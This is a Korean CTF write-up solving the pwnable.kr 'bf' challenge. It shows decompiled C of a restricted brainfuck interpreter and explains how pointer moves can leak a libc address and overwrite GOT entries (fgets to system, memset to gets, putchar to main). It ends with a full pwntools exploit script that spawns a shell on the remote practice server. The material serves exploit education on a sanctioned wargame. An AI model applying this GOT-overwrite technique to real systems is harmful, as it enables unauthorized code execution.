소스코드 분석
int __cdecl main(int argc, const char **argv, const char **envp){ size_t i; // [esp+28h] [ebp-40Ch] char input[1024]; // [esp+2Ch] [ebp-408h] BYREF unsigned int v6; // [esp+42Ch] [ebp-8h]
v6 = __readgsdword(0x14u); setvbuf(stdout, 0, 2, 0); setvbuf(stdin, 0, 1, 0); p = (int)&tape; puts("welcome to brainfuck testing system!!"); puts("type some brainfuck instructions except [ ]"); memset(input, 0, sizeof(input)); fgets(input, 1024, stdin); for ( i = 0; i < strlen(input); ++i ) do_brainfuck(input[i]); return 0;}int __cdecl do_brainfuck(char input){ int result; // eax _BYTE *v2; // ebx
result = input - 43; switch ( input ) { case '+': result = p; ++*(_BYTE *)p; break; case ',': v2 = (_BYTE *)p; result = getchar(); *v2 = result; break; case '-': result = p; --*(_BYTE *)p; break; case '.': result = putchar(*(char *)p); break; case '<': result = --p; break; case '>': result = ++p; break; case '[': result = puts("[ and ] not supported."); break; default: return result; } return result;}brainfuck 언어에서 [, ] 명령어가 제외된 것을 확인할 수 있다.
바이너리 안에서 포인터 값을 조작하며 쉘을 획득할 수 있을 것 같다.
명령어에 대한 설명은 다음과 같다.
| 문자 | 의미 |
|---|---|
> | 포인터 증가 |
< | 포인터 감소 |
+ | 포인터가 가리키는 바이트의 값 증가 |
- | 포인터가 가리키는 바이트의 값 감소 |
. | 포인터가 가리키는 바이트의 값을 ASCII 문자로 출력 |
, | 포인터가 가리키는 바이트에 입력받은 문자의 ASCII 값을 넣음 |
[ | 포인터가 가리키는 바이트의 값이 0이면 짝이 되는 뒤쪽의 ]로 이동 |
] | 포인터가 가리키는 바이트의 값이 0이 아니면 짝이 되는 앞쪽의 [로 이동 |
출처: 위키백과
익스플로잇
1024 바이트만 입력할 수 있기 때문에 포인터 값을 조작할 수 있는 범위내에서 조작해야 한다.
시나리오
system함수의 실제 주소를 구한다.fgets->systemgot overwritememset->getsgot overwriteputchar->maingot overwriteputchar를 통해main함수를 호출하여 쉘을 획득한다.
getchar 함수로 하위 바이트를 조작하며 overwrite를 진행하였다.
p가 가리키는 값을 p로 변경하면 getchar 함수를 통해 하위 바이트를 쉽게 조작할 수 있다.
from pwn import *# context.log_level = 'debug'
# p = process('./bf')p = remote('pwnable.kr', 9001)e = ELF('./bf')libc = e.libc
payload = '<' * 0x20payload += ',.>.>.>.'payload += '>' * 0x65payload += ',,>,>,>,'payload += '>' * 0x6dpayload += ',,>,>,>,'payload += '>' * 0x51payload += ',,>,>,>,'payload += '.'
p.sendlineafter(']\n', payload)
p.send('\x18')puts_addr = u32(p.recvuntil('\xf7'))libc_base = puts_addr - libc.sym['puts']system_addr = libc_base + libc.sym['system']gets_addr = libc_base + libc.sym['gets']
log.info('puts: ' + hex(puts_addr))log.info('libc_base: ' + hex(libc_base))
p.send('\x10')p.send(p32(system_addr))
p.send('\x2c')p.send(p32(gets_addr))
p.send('\x30')p.send(p32(e.sym['main']))
p.sendlineafter(']\n', '/bin/sh')
p.interactive()
쉘을 획득했다.